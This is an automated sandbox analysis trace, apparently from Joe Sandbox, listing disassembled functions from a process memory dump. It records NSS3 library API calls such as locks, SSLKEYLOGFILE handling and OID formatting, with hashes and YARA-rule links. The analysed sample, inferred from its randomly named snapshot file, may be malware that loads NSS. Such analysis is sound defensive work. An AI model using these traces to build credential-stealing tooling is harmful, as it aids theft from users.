PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C664E71
free.MOZGLUE(00000000), ref: 6C664E7A
PR_Unlock.NSS3(?), ref: 6C664EA2
TlsGetValue.KERNEL32 ref: 6C664EC1
EnterCriticalSection.KERNEL32(?), ref: 6C664ED6
PR_Unlock.NSS3(?), ref: 6C664F01
free.MOZGLUE(00000000), ref: 6C664F2A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 0b6b130eb65bbccdafc0ad90bb29f236dfece1053555c4c6281a0061c0489b2e
Instruction ID: 68374d0582ca3c0c93e742c286f517465d60b472145f01f85129bcac42162441
Opcode Fuzzy Hash: 0b6b130eb65bbccdafc0ad90bb29f236dfece1053555c4c6281a0061c0489b2e
Instruction Fuzzy Hash: 5DB11071A002059FDB01EF29D894BAA77B4BF0A319F144174ED0597F11EB70E961CBEA

Function 6C66FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFB4

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFC6

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFD6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFE6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFF6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670006
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670016
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670026
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670036
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670046
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670056
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670066
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670076
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670086
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670096
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700A6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700B6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700C6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700D6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700E6

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: f84a582f094e9555c63fe188e74755a2ca865322b340a5eeed9c086a99b56c95
Instruction ID: f1f8e10abfaa9bb02b66bf2d306d977852a972c1b4fd1e46e1ce1316f4241968
Opcode Fuzzy Hash: f84a582f094e9555c63fe188e74755a2ca865322b340a5eeed9c086a99b56c95
Instruction Fuzzy Hash: A23146F0E0B7189E8B45DF25C15858A3AF8BB1B60A730493BD72C86B21D7740949CFAD

Function 6C6B6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6B6BF7), ref: 6C6B6EB6

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C75FC0A,6C6B6BF7), ref: 6C6B6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6B6EFC
PR_NewLock.NSS3 ref: 6C6B6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6B6BF7), ref: 6C6B6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6B6BF7), ref: 6C6B6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6B6BF7), ref: 6C6B6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6B6BF7), ref: 6C6B6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6B6FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6B6F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6B6FDB
SSLFORCELOCKS, xrefs: 6C6B6F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6B6EF7
SSLKEYLOGFILE, xrefs: 6C6B6EB1

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 344462dba30e5d3a6263506006ef6e835126958274df71b808151fccdab3b71c
Instruction ID: 8eec938cda0fc777107fedab3b49623a9d5b08a3e88d622078b70d32cda8061f
Opcode Fuzzy Hash: 344462dba30e5d3a6263506006ef6e835126958274df71b808151fccdab3b71c
Instruction Fuzzy Hash: 4FA13D73A5BD908AE710463CCC013C432A6AF5336AF684375EA31D7ED5DB35E4608369

Function 6C635DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C635DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C635E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C635E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C635E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C635EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C635ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C635F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C635F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C635F89
free.MOZGLUE(?), ref: 6C635FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C635FB6
free.MOZGLUE(00000000), ref: 6C635FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C63600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C636079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C636084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C636094

Strings

, xrefs: 6C635EEB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 6cadf038ae427050ff67feef5de373502b8da588a4a93e693789e65e4ed65eda
Instruction ID: d2d5b2cb54df31233fc9e5f46688c82ff679c5e2bfec5fafc9b77fd5e7cf2639
Opcode Fuzzy Hash: 6cadf038ae427050ff67feef5de373502b8da588a4a93e693789e65e4ed65eda
Instruction Fuzzy Hash: 8F8114B1E002259BDF108F64CC85BAE77B4AF45318F146528E81EE7791E731E905CBEA

Function 6C60B860 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000144,?,?,?,?,?,6C60B45E,?,?,?,?,?,?,?,?), ref: 6C60B87D
TlsGetValue.KERNEL32 ref: 6C60B8FE
EnterCriticalSection.KERNEL32(?), ref: 6C60B912
TlsGetValue.KERNEL32 ref: 6C60B959
_PR_MD_UNLOCK.NSS3(?), ref: 6C60B977
calloc.MOZGLUE(00000001,0000002C), ref: 6C60B983
PR_NewCondVar.NSS3 ref: 6C60B9B9
InitializeCriticalSectionAndSpinCount.KERNEL32(-00000040,000005DC,?,?), ref: 6C60BA54
GetLastError.KERNEL32 ref: 6C60BA5F
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BA77
DeleteCriticalSection.KERNEL32(?), ref: 6C60BA96
free.MOZGLUE(?), ref: 6C60BA9D
free.MOZGLUE(?), ref: 6C60BAB3
DeleteCriticalSection.KERNEL32(?), ref: 6C60BACD
free.MOZGLUE(00000000), ref: 6C60BAD4

Strings

X xl, xrefs: 6C60B93C
T xl, xrefs: 6C60BA0C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$free$DeleteErrorValuecalloc$CondCountEnterInitializeLastSpin
String ID: T xl$X xl
API String ID: 1841981668-824639755
Opcode ID: 02bd12486f3c93526d1020a3854b5466692244f880ab614119c0cc2d31da44a7
Instruction ID: ad37dd0d1ba16f31cf4ac221c582c2d68942e1ed15058b085d8f412bae092d7d
Opcode Fuzzy Hash: 02bd12486f3c93526d1020a3854b5466692244f880ab614119c0cc2d31da44a7
Instruction Fuzzy Hash: 2651D0B0B017058FEB119F28CD45B9A7BF4FF4A309F108539E95AE2A41EB30D445CB95

Function 6C61F850 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 262COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE004,00000000), ref: 6C61F86F

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_smprintf.NSS3(%lu,?), ref: 6C61F899
PR_smprintf.NSS3(%s.%lu,00000000,?), ref: 6C61FA4E
PR_smprintf.NSS3(%s.%llu,00000000,00000000,00000000), ref: 6C61FAA2
PR_smprintf.NSS3(%s.UNSUPPORTED,00000000), ref: 6C61FAB6
free.MOZGLUE(00000000), ref: 6C61FAC1
PR_smprintf.NSS3(OID.UNSUPPORTED), ref: 6C61FAD3
__aulldiv.LIBCMT ref: 6C61FB00
PR_smprintf.NSS3(OID.%llu.%llu,00000000,?,00000000,FFFFFFD8,00000000,00000000,00000028,00000000), ref: 6C61FB4B

Strings

%s.%lu, xrefs: 6C61FA49
OID.%lu.%lu, xrefs: 6C61FA7D
OID.%llu.%llu, xrefs: 6C61FB46
%s.UNSUPPORTED, xrefs: 6C61FAB1
%s.%llu, xrefs: 6C61FA9D
OID.UNSUPPORTED, xrefs: 6C61FACE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: R_smprintf$ErrorValue__aulldivfree
String ID: %s.%llu$%s.%lu$%s.UNSUPPORTED$OID.%llu.%llu$OID.%lu.%lu$OID.UNSUPPORTED
API String ID: 2145857551-3523515424
Opcode ID: e89190ba1298e462282093144cc27422205e387964653c252457563af3c1211e
Instruction ID: ca7b51fafb7ba0b4c15b17546353b689ae5c5f1a6107666d20cc46839a912013
Opcode Fuzzy Hash: e89190ba1298e462282093144cc27422205e387964653c252457563af3c1211e
Instruction Fuzzy Hash: A2819D72F194314BEB084B2C8C5577EBBF29BC6305F184569E462DBF85E674890083AE

Function 6C739C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C739C70
PR_NewLock.NSS3 ref: 6C739C85

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewCondVar.NSS3(00000000), ref: 6C739C96

Part of subcall function 6C60BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6121BC), ref: 6C60BB8C

PR_NewLock.NSS3 ref: 6C739CA9

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

PR_NewLock.NSS3 ref: 6C739CB9
PR_NewLock.NSS3 ref: 6C739CC9
PR_NewCondVar.NSS3(00000000), ref: 6C739CDA

Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BBEB
Part of subcall function 6C60BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C60BBFB
Part of subcall function 6C60BB80: GetLastError.KERNEL32 ref: 6C60BC03
Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C60BC19
Part of subcall function 6C60BB80: free.MOZGLUE(00000000), ref: 6C60BC22

PR_NewCondVar.NSS3(?), ref: 6C739CF0
PR_NewPollableEvent.NSS3 ref: 6C739D03

Part of subcall function 6C72F3B0: PR_CallOnce.NSS3(6C7814B0,6C72F510), ref: 6C72F3E6
Part of subcall function 6C72F3B0: PR_CreateIOLayerStub.NSS3(6C78006C), ref: 6C72F402
Part of subcall function 6C72F3B0: PR_Malloc.NSS3(00000004), ref: 6C72F416
Part of subcall function 6C72F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C72F42D
Part of subcall function 6C72F3B0: PR_SetSocketOption.NSS3(?), ref: 6C72F455
Part of subcall function 6C72F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C72F473

Part of subcall function 6C6E9890: TlsGetValue.KERNEL32(?,?,?,6C6E97EB), ref: 6C6E989E

EnterCriticalSection.KERNEL32(?), ref: 6C739D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C739DAF
_PR_CreateThread.NSS3(00000000,6C739EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739D9F

Part of subcall function 6C60B3C0: TlsGetValue.KERNEL32 ref: 6C60B403
Part of subcall function 6C60B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C60B459

_PR_CreateThread.NSS3(00000000,6C73A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C739DFC
_PR_CreateThread.NSS3(00000000,6C73A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C739E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C739E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C739E89

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 01fcd3e7c185bd5fc1100918f11ead94ec577e77417f4121989cd6ff569a6a9d
Instruction ID: d1a1590bfbbc92205c282f6470395642825a3387f1e50c52a5e70ce0fc9f92c0
Opcode Fuzzy Hash: 01fcd3e7c185bd5fc1100918f11ead94ec577e77417f4121989cd6ff569a6a9d
Instruction Fuzzy Hash: 8F618FB1A00716AFD715DF75C944AA7BBF8FF49208B04453AE809C7B51EB30E814CBA5

Function 6C633FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C634014

Part of subcall function 6C6339F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C635E6F,?), ref: 6C633A08
Part of subcall function 6C6339F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C635E6F), ref: 6C633A1C
Part of subcall function 6C6339F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C633A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C634038

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C63404D

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C74A0F4), ref: 6C6340C2

Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C67F0C8
Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C63409A

Part of subcall function 6C67BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6340DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6340F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C634108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C63411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C634137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C634150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C74A1C8), ref: 6C63417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C634194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6341A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6341B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6341D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6341FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C74A1A8), ref: 6C63422D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 4fd692b001f3b1c3ce91d5a773997aa322ef05388189723d76822af50c363a56
Instruction ID: ef056f8a82c09a89625217f0d1b8ba775a43e494f9f0d11bfc651d9e6c4c41ef
Opcode Fuzzy Hash: 4fd692b001f3b1c3ce91d5a773997aa322ef05388189723d76822af50c363a56
Instruction Fuzzy Hash: A451F5B1A047106BF7109A259C41F77BADCDF5134CF046929E95EC6F82FBA2E508826E

Function 6C678E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C678E01,00000000,6C679060,6C780B64), ref: 6C678E7B
